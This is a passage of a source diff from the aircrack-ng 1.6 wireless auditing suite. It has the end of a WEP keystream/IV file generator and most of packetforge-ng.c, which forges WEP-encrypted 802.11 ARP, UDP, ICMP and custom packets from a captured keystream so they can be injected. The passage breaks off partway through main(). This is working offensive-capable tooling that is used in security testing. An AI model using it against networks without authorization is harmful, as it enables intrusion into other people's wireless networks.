+		!= (size_t) sizeof(struct ivs2_pkthdr))
+	{
+		perror("fwrite(IV header) failed");
+		free(filename);
+		return (EXIT_FAILURE);
+	}
+
+	if (memcmp(NULL_MAC, bssid, 6) == 0)
+	{
+		memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6);
+	}
+
+	/* write BSSID */
+	if (fwrite(bssid, 1, 6, f_ivs_out) != (size_t) 6)
+	{
+		perror("fwrite(IV bssid) failed");
+		free(filename);
+		return (EXIT_FAILURE);
+	}
+	printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n",
+		   bssid[0],
+		   bssid[1],
+		   bssid[2],
+		   bssid[3],
+		   bssid[4],
+		   bssid[5]);
+	z = 0;
+	pre_n = 0;
+	for (n = 0; n < count; n++)
+	{
+		if ((dupe <= FLT_EPSILON) || (pre_n == n)
+			|| (rand_f32() > (dupe /
+#if defined(__x86_64__) && defined(__CYGWIN__)
+							  (0.0f + 100.0f))))
+#else
+							  100.0f)))
+#endif
+		{
+			if (prng)
+			{
+				iv = rand_u32() & 0xFFFFFF;
+			}
+			else
+			{
+				iv = (z + startiv) & 0xFFFFFF;
+				z++;
+			}
+
+			if (nofms)
+			{
+				if ((iv & 0xff00) == 0xff00)
+				{
+					byte = (iv >> 16) & 0xff;
+					if (byte >= 3 && byte < keylen)
+					{
+						if (!prng && (iv & 0xFF) == 0) z += 0xff;
+						n--;
+						continue;
+					}
+				}
+			}
+
+			if (uniqueiv_check(uiv_root, (unsigned char *) &iv) != 0)
+			{
+				n--;
+				continue;
+			}
+
+			uniqueiv_mark(uiv_root, (unsigned char *) &iv);
+		}
+
+		pre_n = n;
+
+		K[2] = (iv >> 16) & 0xFF;
+		K[1] = (iv >> 8) & 0xFF;
+		K[0] = (iv) &0xFF;
+
+		for (i = 0; i < 256; i++) S[i] = i;
+
+		for (i = j = 0; i < 256; i++)
+		{
+			j = (j + S[i] + K[i % keylen]) & 0xFF;
+			SWAP(S[i], S[j]);
+		}
+
+		if (errorrate > 0 && (rand_f32() <= (float) (errorrate /
+#if defined(__x86_64__) && defined(__CYGWIN__)
+													 (0.0f + 100))))
+#else
+													 100.0f)))
+#endif
+		{
+			SWAP(S[1], S[11]);
+		}
+
+		memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+		ivs2.flags = 0;
+		ivs2.len = 0;
+
+		ivs2.flags |= IVS2_XOR;
+		ivs2.len += length + 4;
+
+		if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
+			!= (size_t) sizeof(struct ivs2_pkthdr))
+		{
+			perror("fwrite(IV header) failed");
+			free(filename);
+			return (EXIT_FAILURE);
+		}
+
+		if (fwrite(K, 1, 3, f_ivs_out) != (size_t) 3)
+		{
+			perror("fwrite(IV iv) failed");
+			free(filename);
+			return (EXIT_FAILURE);
+		}
+		if (fwrite(&zero, 1, 1, f_ivs_out) != (size_t) 1)
+		{
+			perror("fwrite(IV idx) failed");
+			free(filename);
+			return (EXIT_FAILURE);
+		}
+		ivs2.len -= 4;
+
+		i = j = 0;
+		for (k = 0; k < length; k++)
+		{
+			i = (i + 1) & 0xFF;
+			j = (j + S[i]) & 0xFF;
+			SWAP(S[i], S[j]);
+			fprintf(f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF]);
+		}
+		if ((n % 10000) == 0)
+			printf("%2.1f%%\r",
+				   ((float) n / (float) count) *
+#if defined(__x86_64__) && defined(__CYGWIN__)
+					   (0.0f + 100));
+#else
+					   100.0f);
+#endif
+		fflush(stdout);
+	}
+
+	free(filename);
+	fclose(f_ivs_out);
+	printf("Done.\n");
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/packetforge-ng Added

aircrack-ng-1.6.tar.gz/src/packetforge-ng/packetforge-ng.c Added

@@ -0,0 +1,1302 @@
+/*
+ *  802.11 ARP-request WEP packet forgery
+ *  UDP, ICMP and custom packet forging developed by Martin Beck
+ *
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005  Christophe Devine (arpforge)
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <time.h>
+#include <limits.h>
+#include <getopt.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/osdep/byteorder.h"
+#include "aircrack-ng/third-party/ethernet.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/tui/console.h"
+
+#define ARP_REQ                                                                \
+	"\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00"                         \
+	"\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC"         \
+	"\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22"         \
+	"\x00\x00\x00\x00\x00\x00\x00\x00"
+
+#define UDP_PACKET                                                             \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"         \
+	"\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74"         \
+	"\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05"
+
+#define ICMP_PACKET                                                            \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"         \
+	"\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74"         \
+	"\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01"
+
+#define NULL_PACKET                                                            \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32"
+
+static const char usage[]
+	= "\n"
+	  "  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	  "  Original work: Martin Beck\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  Usage: packetforge-ng <mode> <options>\n"
+	  "\n"
+	  "  Forge options:\n"
+	  "\n"
+	  "      -p <fctrl>     : set frame control word (hex)\n"
+	  "      -a <bssid>     : set Access Point MAC address\n"
+	  "      -c <dmac>      : set Destination  MAC address\n"
+	  "      -h <smac>      : set Source       MAC address\n"
+	  "      -j             : set FromDS bit\n"
+	  "      -o             : clear ToDS bit\n"
+	  "      -e             : disables WEP encryption\n"
+	  "      -k <ip[:port]> : set Destination IP [Port]\n"
+	  "      -l <ip[:port]> : set Source      IP [Port]\n"
+	  "      -t ttl         : set Time To Live\n"
+	  "      -w <file>      : write packet to this pcap file\n"
+	  "      -s <size>      : specify size of null packet\n"
+	  "      -n <packets>   : set number of packets to generate\n"
+	  "\n"
+	  "  Source options:\n"
+	  "\n"
+	  "      -r <file>      : read packet from this raw file\n"
+	  "      -y <file>      : read PRGA from this file\n"
+	  "\n"
+	  "  Modes:\n"
+	  "\n"
+	  "      --arp          : forge an ARP packet    (-0)\n"
+	  "      --udp          : forge an UDP packet    (-1)\n"
+	  "      --icmp         : forge an ICMP packet   (-2)\n"
+	  "      --null         : build a null packet    (-3)\n"
+	  "      --custom       : build a custom packet  (-9)\n"
+	  "\n"
+	  "      --help         : Displays this usage screen\n"
+	  "\n";
+
+struct communication_options opt;
+static struct local_options
+{
+	unsigned char bssid[6];
+	unsigned char dmac[6];
+	unsigned char smac[6];
+	unsigned char dip[4];
+	unsigned char sip[4];
+	unsigned char fctrl[2];
+	unsigned char * prga;
+
+	char * cap_out;
+	char * raw_file;
+
+	int mode;
+	int pktlen;
+	int prgalen;
+	int ttl;
+	int size;
+
+	unsigned short sport;
+	unsigned short dport;
+
+	char tods;
+	char fromds;
+	char encrypt;
+
+	FILE * ivs2;
+	unsigned char prev_bssid[6];
+	int first_packet;
+
+	int num_packets;
+} lopt;
+
+struct devices dev;
+extern struct wif *_wi_in, *_wi_out;
+extern uint8_t h80211[4096];
+extern uint8_t tmpbuf[4096];
+
+/* IP address parsing routine */
+static int getip(char * s, unsigned char * ip, unsigned short * port)
+{
+	REQUIRE(s != NULL);
+	REQUIRE(ip != NULL);
+	REQUIRE(port != NULL);
+
+	int i = 0, n;
+
+	while (sscanf(s, "%d", &n) == 1)
+	{
+		if (n < 0 || n > 255) return (1);
+
+		ip[i] = n;
+
+		if (++i == 4) break;
+
+		if (!(s = strchr(s, '.'))) break;
+
+		s++;
+	}
+
+	if (i != 4) return (1);
+
+	ALLEGE(s != NULL);
+
+	if ((s = strchr(s, ':')) != NULL)
+	{
+		s++;
+		if (sscanf(s, "%d", &n) == 1)
+		{
+			if (n > 0 && n < 65536) *port = n;
+		}
+	}
+
+	return (0);
+}
+
+static unsigned short ip_chksum(unsigned short * addr, int count)
+{
+	REQUIRE(addr != NULL);
+
+	unsigned short checksum;
+	/* Compute Internet Checksum for "count" bytes
+		*         beginning at location "addr".
+		*/
+
+	unsigned long sum = 0;
+
+	while (count > 1)
+	{
+		/*  This is the inner loop */
+		sum += *addr;
+		addr++;
+		count -= 2;
+	}
+
+	/*  Add left-over byte, if any */
+	if (count > 0) sum += *(unsigned char *) addr;
+
+	/*  Fold 32-bit sum to 16 bits */
+	while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
+
+	checksum = ~sum;
+
+	return (checksum);
+}
+
+static int set_tofromds(unsigned char * packet)
+{
+	if (packet == NULL) return (1);
+
+	/* set TODS,FROMDS bits */
+	if (((lopt.tods & 1) == 1) && ((lopt.fromds & 1) == 1))
+	{
+		packet[1] = (packet[1] & 0xFC) | 0x03; /* set TODS=1,FROMDS=1 */
+	}
+
+	if (((lopt.tods & 1) == 1) && ((lopt.fromds & 1) == 0))
+	{
+		packet[1] = (packet[1] & 0xFC) | 0x01; /* set TODS=1,FROMDS=0 */
+	}
+
+	if (((lopt.tods & 1) == 0) && ((lopt.fromds & 1) == 1))
+	{
+		packet[1] = (packet[1] & 0xFC) | 0x02; /* set TODS=0,FROMDS=1 */
+	}
+
+	if (((lopt.tods & 1) == 0) && ((lopt.fromds & 1) == 0))
+	{
+		packet[1] = (packet[1] & 0xFC); /* set TODS=0,FROMDS=0 */
+	}
+
+	return (0);
+}
+
+static int set_bssid(unsigned char * packet)
+{
+	int mi_b;
+
+	if (packet == NULL) return (1);
+
+	if (memcmp(lopt.bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-a).\n");
+		return (1);
+	}
+
+	switch (packet[1] & 3)
+	{
+		case 0:
+			mi_b = 16;
+			break;
+		case 1:
+			mi_b = 4;
+			break;
+		case 2:
+			mi_b = 10;
+			break;
+		default:
+			mi_b = 10;
+			break;
+	}
+
+	/* write bssid mac */
+	memcpy(packet + mi_b, lopt.bssid, 6);
+
+	return (0);
+}
+
+static int set_dmac(unsigned char * packet)
+{
+	int mi_d;
+
+	if (packet == NULL) return (1);
+
+	if (memcmp(lopt.dmac, NULL_MAC, ETHER_ADDR_LEN) == 0)
+	{
+		printf("Please specify a destination MAC (-c).\n");
+		return (1);
+	}
+
+	switch (packet[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+		case IEEE80211_FC1_DIR_FROMDS:
+			mi_d = 4;
+			break;
+		default:
+			mi_d = 16;
+			break;
+	}
+
+	/* write destination mac */
+	memcpy(packet + mi_d, lopt.dmac, ETHER_ADDR_LEN);
+
+	return (0);
+}
+
+static int set_smac(unsigned char * packet)
+{
+	int mi_s;
+
+	if (packet == NULL) return (1);
+
+	if (memcmp(lopt.smac, NULL_MAC, ETHER_ADDR_LEN) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return (1);
+	}
+
+	switch (packet[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+		case IEEE80211_FC1_DIR_TODS:
+			mi_s = 10;
+			break;
+		case IEEE80211_FC1_DIR_FROMDS:
+			mi_s = 16;
+			break;
+		default:
+			mi_s = 24;
+			break;
+	}
+
+	/* write source mac */
+	memcpy(packet + mi_s, lopt.smac, ETHER_ADDR_LEN);
+
+	return (0);
+}
+
+/* offset for ip&&udp = 48, for arp = 56 */
+static int set_dip(unsigned char * packet, const int offset)
+{
+	if (packet == NULL) return (1);
+	if (offset < 0 || offset > 2046) return (1);
+
+	if (memcmp(lopt.dip, NULL_MAC, 4) == 0)
+	{
+		printf("Please specify a destination IP (-k).\n");
+		return (1);
+	}
+
+	/* set destination IP */
+	memcpy(packet + offset, lopt.dip, 4);
+
+	return (0);
+}
+
+/* offset for ip&&udp = 44, for arp = 46 */
+static int set_sip(unsigned char * packet, const int offset)
+{
+	if (packet == NULL) return (1);
+	if (offset < 0 || offset > 2046) return (1);
+
+	if (memcmp(lopt.sip, NULL_MAC, 4) == 0)
+	{
+		printf("Please specify a source IP (-l).\n");
+		return (1);
+	}
+
+	/* set source IP */
+	memcpy(packet + offset, lopt.sip, 4);
+
+	return (0);
+}
+
+static int set_ipid(unsigned char * packet, const int offset)
+{
+	unsigned short id;
+
+	if (packet == NULL) return (1);
+	if (offset < 0 || offset > 2046) return (1);
+
+	id = rand_u16();
+	/* set IP Identification */
+	memcpy(packet + offset, (unsigned char *) &id, 2);
+
+	return (0);
+}
+
+static int set_ip_ttl(unsigned char * packet)
+{
+	unsigned char ttl;
+
+	if (packet == NULL) return (1);
+
+	ttl = lopt.ttl;
+	memcpy(packet + 40, &ttl, 1);
+
+	return (0);
+}
+
+static int set_IVidx(unsigned char * packet)
+{
+	if (packet == NULL) return (1);
+
+	if (opt.prga == NULL)
+	{
+		printf("Please specify a PRGA file (-y).\n");
+		return (1);
+	}
+
+	/* insert IV+index */
+	memcpy(packet + 24, opt.prga, 4);
+
+	return (0);
+}
+
+static int next_keystream(unsigned char * dest,
+						  const int size,
+						  unsigned char * bssid,
+						  const int minlen)
+{
+	struct ivs2_pkthdr ivs2;
+	char * buffer;
+	int gotit = 0;
+
+	if (lopt.ivs2 == NULL) return (-1);
+	if (minlen > size + 4) return (-1);
+
+	while (fread(&ivs2, sizeof(struct ivs2_pkthdr), 1, lopt.ivs2) == 1)
+	{
+		if (ivs2.flags & IVS2_BSSID)
+		{
+			if ((int) fread(lopt.prev_bssid, 6, 1, lopt.ivs2) != 1) return (-1);
+			ivs2.len -= 6;
+		}
+
+		if (ivs2.len == 0) continue;
+
+		buffer = (char *) malloc(ivs2.len);
+		if (buffer == NULL) return (-1);
+
+		if ((int) fread(buffer, ivs2.len, 1, lopt.ivs2) != 1)
+		{
+			free(buffer);
+			return (-1);
+		}
+
+		if (memcmp(bssid, lopt.prev_bssid, 6) != 0)
+		{
+			free(buffer);
+			continue;
+		}
+
+		if ((ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen + 4) && !gotit)
+		{
+			if (size >= ivs2.len)
+			{
+				memcpy(dest, buffer, ivs2.len);
+				opt.prgalen = ivs2.len;
+			}
+			else
+			{
+				memcpy(dest, buffer, size);
+				opt.prgalen = size;
+			}
+			gotit = 1;
+		}
+		free(buffer);
+		if (gotit) return (0);
+	}
+
+	if (feof(lopt.ivs2))
+	{
+		if (fseek(lopt.ivs2,
+				  sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1,
+				  SEEK_SET)
+			== -1)
+		{
+			return (-1);
+		}
+
+		return (1);
+	}
+
+	return (-1);
+}
+
+static int my_encrypt_data(unsigned char * dest,
+						   const unsigned char * data,
+						   const int length)
+{
+	unsigned char cipher[2048];
+	int n;
+
+	if (dest == NULL) return (1);
+	if (data == NULL) return (1);
+	if (length < 1 || length > 2044) return (1);
+
+	if (opt.prga == NULL && lopt.ivs2 == NULL)
+	{
+		printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION);
+		return (1);
+	}
+
+	if (lopt.ivs2 != NULL)
+	{
+		n = next_keystream(opt.prga, 1500, lopt.bssid, length);
+		if (n < 0)
+		{
+			printf("Error getting keystream.\n");
+			return (1);
+		}
+		if (n == 1)
+		{
+			if (lopt.first_packet == 1)
+			{
+				printf("Error no keystream in %s file is long enough (%d).\n",
+					   IVS2_EXTENSION,
+					   length);
+				return (1);
+			}
+			else
+				next_keystream(opt.prga, 1500, lopt.bssid, length);
+		}
+	}
+
+	if (opt.prgalen - 4 < (size_t) length)
+	{
+		printf(
+			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
+			(length + 4));
+		return (1);
+	}
+
+	ALLEGE(opt.prga != NULL);
+
+	/* encrypt data */
+	for (n = 0; n < length; n++)
+	{
+		cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
+	}
+
+	memcpy(dest, cipher, length);
+
+	return (0);
+}
+
+static int my_create_wep_packet(unsigned char * packet, int * length)
+{
+	if (packet == NULL) return (1);
+
+	/* write crc32 value behind data */
+	if (add_crc32(packet + 24, *length - 24) != 0) return (1);
+
+	/* encrypt data+crc32 and keep a 4byte hole */
+	if (my_encrypt_data(packet + 28, packet + 24, *length - 20) != 0)
+		return (1);
+
+	/* write IV+IDX right in front of the encrypted data */
+	if (set_IVidx(packet) != 0) return (1);
+
+	/* set WEP bit */
+	packet[1] = packet[1] | 0x40;
+
+	*length += 8;
+	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
+
+	return (0);
+}
+
+static int write_cap_packet(unsigned char * packet, const int length)
+{
+	FILE * f;
+	struct pcap_file_header pfh;
+	struct pcap_pkthdr pkh;
+	struct timeval tv;
+	int n;
+
+	if (length <= 0)
+	{
+		printf("Invalid length, must be > 0.\n");
+		printf("Please report.\n");
+		return (1);
+	}
+
+	if (lopt.cap_out == NULL)
+	{
+		printf("Please specify an output file (-w).\n");
+		return (1);
+	}
+
+	if (lopt.first_packet)
+	{
+		if ((f = fopen(lopt.cap_out, "wb+")) == NULL)
+		{
+			fprintf(stderr, "failed: fopen(%s,wb+)\n", lopt.cap_out);
+			return (1);
+		}
+
+		pfh.magic = TCPDUMP_MAGIC;
+		pfh.version_major = PCAP_VERSION_MAJOR;
+		pfh.version_minor = PCAP_VERSION_MINOR;
+		pfh.thiszone = 0;
+		pfh.sigfigs = 0;
+		pfh.snaplen = 65535;
+		pfh.linktype = LINKTYPE_IEEE802_11;
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fwrite(&pfh, 1, n, f) != (size_t) n)
+		{
+			fprintf(stderr, "failed: fwrite(pcap file header)\n");
+			fclose(f);
+			return (1);
+		}
+	}
+	else
+	{
+		if ((f = fopen(lopt.cap_out, "ab+")) == NULL)
+		{
+			fprintf(stderr, "failed: fopen(%s,ab+)\n", lopt.cap_out);
+			return (1);
+		}
+	}
+
+	gettimeofday(&tv, NULL);
+
+	pkh.tv_sec = tv.tv_sec;
+	pkh.tv_usec = tv.tv_usec;
+	pkh.len = length;
+	pkh.caplen = length;
+
+	n = sizeof(pkh);
+
+	if (fwrite(&pkh, 1, n, f) != (size_t) n)
+	{
+		fprintf(stderr, "fwrite(packet header) failed\n");
+		fclose(f);
+		return (1);
+	}
+
+	n = length;
+
+	if (fwrite(packet, 1, n, f) != (size_t) n)
+	{
+		fprintf(stderr, "fwrite(packet data) failed\n");
+		fclose(f);
+		return (1);
+	}
+
+	fclose(f);
+
+	if (lopt.first_packet) lopt.first_packet = 0;
+
+	return (0);
+}
+
+static int read_prga_xor_ivs2(unsigned char ** dest, const char * file)
+{
+	FILE * f;
+	int size;
+	struct ivs2_filehdr fivs2;
+
+	if (file == NULL) return (1);
+	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
+
+	if (memcmp(file + (strlen(file) - 4), ".xor", 4) != 0
+		&& memcmp(file + (strlen(file) - 4), "." IVS2_EXTENSION, 4) != 0)
+	{
+		printf("Is this really a PRGA file: %s?\n", file);
+	}
+
+	f = fopen(file, "rb");
+
+	if (f == NULL)
+	{
+		printf("Error opening %s\n", file);
+		return (1);
+	}
+
+	fseek(f, 0, SEEK_END);
+	size = ftell(f);
+	if (size == -1)
+	{
+		printf("Error getting file position %s\n", file);
+		fclose(f);
+		return (1);
+	}
+	rewind(f);
+
+	if (size > 1500) size = 1500;
+
+	if ((int) fread((*dest), size, 1, f) != 1)
+	{
+		fprintf(stderr, "fread failed\n");
+		fclose(f);
+		return (1);
+	}
+
+	if (memcmp((*dest), IVS2_MAGIC, 4) == 0)
+	{
+		if ((size_t) size < sizeof(struct ivs2_filehdr) + 4)
+		{
+			fprintf(stderr, "No valid %s file.", IVS2_EXTENSION);
+			fclose(f);
+			return (1);
+		}
+		memcpy(&fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr));
+		if (fivs2.version > IVS2_VERSION)
+		{
+			printf("Error, wrong %s version: %d. Supported up to version %d.\n",
+				   IVS2_EXTENSION,
+				   fivs2.version,
+				   IVS2_VERSION);
+		}
+
+		lopt.ivs2 = f;
+		IGNORE_LTZ(fseek(
+			f, sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1, SEEK_SET));
+	}
+	else
+	{
+		// assuming old xor file
+		if ((*dest)[3] > 0x03)
+		{
+			printf("Are you really sure that this is a valid keystream? "
+				   "Because the index is out of range (0-3): %02X\n",
+				   (*dest)[3]);
+		}
+
+		opt.prgalen = (int) size;
+		fclose(f);
+	}
+
+	return (0);
+}
+
+static int forge_arp(void)
+{
+	/* use arp request */
+	lopt.pktlen = 60;
+	memcpy(h80211, ARP_REQ, lopt.pktlen); //-V512
+
+	memcpy(lopt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+
+	if (set_tofromds(h80211) != 0) return (1);
+	if (set_bssid(h80211) != 0) return (1);
+	if (set_smac(h80211) != 0) return (1);
+	if (set_dmac(h80211) != 0) return (1);
+
+	memcpy(h80211 + 40, lopt.smac, 6);
+
+	if (set_dip(h80211, 56) != 0) return (1);
+	if (set_sip(h80211, 46) != 0) return (1);
+
+	return (0);
+}
+
+static int forge_udp(void)
+{
+	unsigned short chksum;
+
+	lopt.pktlen = 61;
+	memcpy(h80211, UDP_PACKET, lopt.pktlen);
+
+	if (set_tofromds(h80211) != 0) return (1);
+	if (set_bssid(h80211) != 0) return (1);
+	if (set_smac(h80211) != 0) return (1);
+	if (set_dmac(h80211) != 0) return (1);
+
+	if (set_dip(h80211, 48) != 0) return (1);
+	if (set_sip(h80211, 44) != 0) return (1);
+	if (lopt.ttl != -1)
+		if (set_ip_ttl(h80211) != 0) return (1);
+
+	if (set_ipid(h80211, 36) != 0) return (1);
+
+	/* set udp length */
+	h80211[57] = '\x09';
+
+	/* generate + set ip checksum */
+	chksum = ip_chksum((unsigned short *) (h80211 + 32), 20); //-V1032
+	memcpy(h80211 + 42, &chksum, 2); //-V512
+
+	return (0);
+}
+
+static int forge_icmp(void)
+{
+	unsigned short chksum;
+
+	lopt.pktlen = 60;
+	memcpy(h80211, ICMP_PACKET, lopt.pktlen);
+
+	if (memcmp(lopt.dmac, NULL_MAC, 6) == 0)
+	{
+		memcpy(lopt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+	}
+
+	if (set_tofromds(h80211) != 0) return (1);
+	if (set_bssid(h80211) != 0) return (1);
+	if (set_smac(h80211) != 0) return (1);
+	if (set_dmac(h80211) != 0) return (1);
+
+	if (set_dip(h80211, 48) != 0) return (1);
+	if (set_sip(h80211, 44) != 0) return (1);
+	if (lopt.ttl != -1)
+		if (set_ip_ttl(h80211) != 0) return (1);
+
+	if (set_ipid(h80211, 36) != 0) return (1);
+
+	/* generate + set ip checksum */
+	chksum = ip_chksum((unsigned short *) (h80211 + 32), 20); //-V1032
+	memcpy(h80211 + 42, &chksum, 2);
+
+	return (0);
+}
+
+static int forge_null(void)
+{
+	lopt.pktlen = lopt.size;
+	memcpy(h80211, NULL_PACKET, 24);
+	memset(h80211 + 24, '\0', (lopt.pktlen - 24));
+
+	if (memcmp(lopt.dmac, NULL_MAC, 6) == 0)
+	{
+		memcpy(lopt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+	}
+
+	if (set_tofromds(h80211) != 0) return (1);
+	if (set_bssid(h80211) != 0) return (1);
+	if (set_smac(h80211) != 0) return (1);
+	if (set_dmac(h80211) != 0) return (1);
+
+	if (lopt.pktlen > 26) h80211[26] = 0x03;
+
+	return (0);
+}
+
+static int forge_custom(void)
+{
+	if (capture_ask_packet(&lopt.pktlen, 0) != 0) return (1);
+
+	if (set_tofromds(h80211) != 0) return (1);
+
+	if (memcmp(lopt.bssid, NULL_MAC, 6) != 0)
+	{
+		if (set_bssid(h80211) != 0) return (1);
+	}
+	if (memcmp(lopt.dmac, NULL_MAC, 6) != 0)
+	{
+		if (set_dmac(h80211) != 0) return (1);
+	}
+	if (memcmp(lopt.smac, NULL_MAC, 6) != 0)
+	{
+		if (set_smac(h80211) != 0) return (1);
+	}
+
+	return (0);
+}
+
+static void print_usage(void)
+{
+	char * version_info = getVersion(
+		"Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf(usage, version_info);
+	free(version_info);
+}
+
+int main(int argc, char * argv[])
+{
+	int arg;
+	unsigned uarg;
+	int option_index;
+	int ret;
+	int n;
+
+	memset(&opt, 0, sizeof(opt));
+	memset(&lopt, 0, sizeof(lopt));
+
+	/* initialise global options */
+	memset(lopt.bssid, '\x00', 6);
+	memset(lopt.dmac, '\x00', 6);
+	memset(lopt.smac, '\x00', 6);
+	memset(lopt.dip, '\x00', 4);
+	memset(lopt.sip, '\x00', 4);
+	memset(lopt.fctrl, '\x00', 2);
+
+	opt.prga = NULL;
+	lopt.cap_out = NULL;
+	lopt.raw_file = NULL;
+
+	lopt.mode = -1;
+	lopt.pktlen = -1;
+	opt.prgalen = -1;
+	lopt.ttl = -1;
+
+	lopt.sport = -1;
+	lopt.dport = -1;
+
+	lopt.tods = 1;
+	lopt.fromds = 0;
+	lopt.encrypt = 1;
+
+	lopt.size = 30;
+
+	lopt.ivs2 = NULL;
+	memset(lopt.prev_bssid, '\x00', 6);
+
+	lopt.first_packet = 1;
+	lopt.num_packets = 1;
+
+	rand_init();
+
+	while (1)
+	{
+		static const struct option long_options[] = {{"arp", 0, 0, '0'},
+													 {"udp", 0, 0, '1'},
+													 {"icmp", 0, 0, '2'},
+													 {"null", 0, 0, '3'},
+													 {"custom", 0, 0, '9'},
+													 {"help", 0, 0, 'H'},
+													 {0, 0, 0, 0}};
+
+		int option;
+		option_index = 0;
+		option = getopt_long(argc,
+							 argv,
+							 "p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:",
+							 long_options,
+							 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+				break;
+
+			case ':':
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case '?':
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case 'p':
+
+				ret = sscanf(optarg, "%x", &uarg);
+				if (uarg > 65535 || ret != 1)
+				{
+					printf("Invalid frame control word. [0-65535]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.fctrl[0] = ((uarg >> 8) & 0xFF);
+				lopt.fctrl[1] = (uarg & 0xFF);
+				break;
+
+			case 't':
+
+				ret = sscanf(optarg, "%i", &arg);
+				if (arg < 0 || arg > 255 || ret != 1)
+				{
+					printf("Invalid time to live. [0-255]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.ttl = arg;
+				break;
+
+			case 'n':
+
+				ret = sscanf(optarg, "%i", &arg);
+				if (arg <= 0 || ret != 1)
+				{
+					printf("Invalid number of packets. [>=1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				lopt.num_packets = arg;
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, lopt.bssid) != 0)
+				{
